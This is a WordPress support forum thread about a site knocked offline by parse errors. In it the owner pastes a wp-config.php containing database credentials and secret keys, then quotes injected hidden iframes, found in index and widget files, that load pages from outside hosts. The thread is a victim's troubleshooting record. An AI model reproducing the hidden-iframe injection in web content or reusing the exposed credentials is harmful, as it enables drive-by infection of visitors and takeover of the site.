• in the admin i get this

    Parse error: syntax error, unexpected ‘<‘ in /home/garopaba/public_html/wp-admin/index.php on line 45

    and on the home page i get this

    Warning: Unexpected character in input: ”’ (ASCII=39) state=1 in /home/garopaba/public_html/index.php on line 17

    Parse error: syntax error, unexpected ‘.’ in /home/garopaba/public_html/index.php on line 17

    the site is http://www.garopaba.com, any ideas..

Viewing 6 replies - 1 through 6 (of 6 total)
  • You’ve got a bad edit somewhere. Switch to the default theme and disable your plugins. Since you can’t get into the admin section login to the site via FTP, download copies of your theme and your plugins, then delete them from the server. That should leave you with the default WP theme(s) and no plugins.

    If that doesn’t work, check your wp-config.php for stray characters.

    If that doesn’t work you’ll probably have to re-upload your files from fresh copies. Something went wrong in the downloading or the unzipping or the uploading…

    Thread Starter poohah1

    (@poohah1)

    ill do that now cheers

    Thread Starter poohah1

    (@poohah1)

    Well ive deleted all the things you said and i have no idea what to look for in the wp-config.php can you see anything wrong?thanks

    <?php
    /**
    * The base configurations of the WordPress.
    *
    * This file has the following configurations: MySQL settings, Table Prefix,
    * Secret Keys, WordPress Language, and ABSPATH. You can find more information by
    * visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing
    * wp-config.php} Codex page. You can get the MySQL settings from your web host.
    *
    * This file is used by the wp-config.php creation script during the
    * installation. You don’t have to use the web site, you can just copy this file
    * to “wp-config.php” and fill in the values.
    *
    * @package WordPress
    */

    // ** MySQL settings – You can get this info from your web host ** //
    /** The name of the database for WordPress */
    define(‘WP_CACHE’, true); //Added by WP-Cache Manager
    define(‘DB_NAME’, ‘garopaba_wrdp1’);

    /** MySQL database username */
    define(‘DB_USER’, ‘garopaba_wrdp1’);

    /** MySQL database password */
    define(‘DB_PASSWORD’, ‘Qb9VOd66r8VS’);

    /** MySQL hostname */
    define(‘DB_HOST’, ‘localhost’);

    /** Database Charset to use in creating database tables. */
    define(‘DB_CHARSET’, ‘utf8’);

    /** The Database Collate type. Don’t change this if in doubt. */
    define(‘DB_COLLATE’, ”);

    /**#@+
    * Authentication Unique Keys.
    *
    * Change these to different unique phrases!
    * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service}
    * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
    *
    * @since 2.6.0
    */
    define(‘AUTH_KEY’, ‘f7sXx[2wbB@LBwlxS{A56y>+Qb9VOd66r8VSXz iq\\Ms}?(;_a#ypoR5\’3w<G5>FL~1X’);
    define(‘SECURE_AUTH_KEY’, ‘-\”r642fed3E1d>}MdGFlh@tR!QPU%/!S_6;CjO0}^>6TQb9VOd66r8VS+ <?)3 U#*X;’);
    define(‘LOGGED_IN_KEY’, ‘Q^l\”6-pLQb9VOd66r8VS\zkw>OG<U$%u0:9H:Jl)+d$~jIBTt&CPL[Dp<KY4zL3y’);
    define(‘NONCE_KEY’, ‘asdasdjkasdjkQb9VOd66r8VSjklasdjklasdkl&^%^&*(&*(jklasdjklasdjkl&*)))’);
    /**#@-*/

    /**
    * WordPress Database Table prefix.
    *
    * You can have multiple installations in one database if you give each a unique
    * prefix. Only numbers, letters, and underscores please!
    */
    $table_prefix = ‘wp_’;

    /**
    * WordPress Localized Language, defaults to English.
    *
    * Change this to localize WordPress. A corresponding MO file for the chosen
    * language must be installed to wp-content/languages. For example, install
    * de.mo to wp-content/languages and set WPLANG to ‘de’ to enable German
    * language support.
    */
    define (‘WPLANG’, ”);

    /* That’s all, stop editing! Happy blogging. */

    /** WordPress absolute path to the WordPress directory. */
    if ( !defined(‘ABSPATH’) )
    define(‘ABSPATH’, dirname(__FILE__) . ‘/’);

    /** Sets up WordPress vars and included files. */
    require_once(ABSPATH . ‘wp-settings.php’);

    Errr, haven’t you just posted your database username and passwords?

    You might want to edit that!!

    I don’t see anything wrong. I’m not sure I would though. Some of the characters that can cause a problem aren’t printable. You can’t see them under normal circumstances. What software did you use to edit the file?

    And yes, you’ve just exposed your DB to the world. You’ll need to change those usernames and passwords, and probably the database name too. And the auth keys I’d think.

    Thread Starter poohah1

    (@poohah1)

    ok ill change that, now I’ve found out what happened, I was hacked

    <?php require(
    <iframe src=”http://a2394017.webhop.net:8080/ts/in.cgi?open&#8221; width=776 h
    <iframe src=”http://plopes.servegame.com:8080/ts/in.cgi?open7&#8243; width=849 height=0 style=”visibility: hidden”></iframe>

    I had it in the index, the widgets and a few other places, I’m in to the back end but no front end, any advice?

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘Please help, site off line’ is closed to new replies.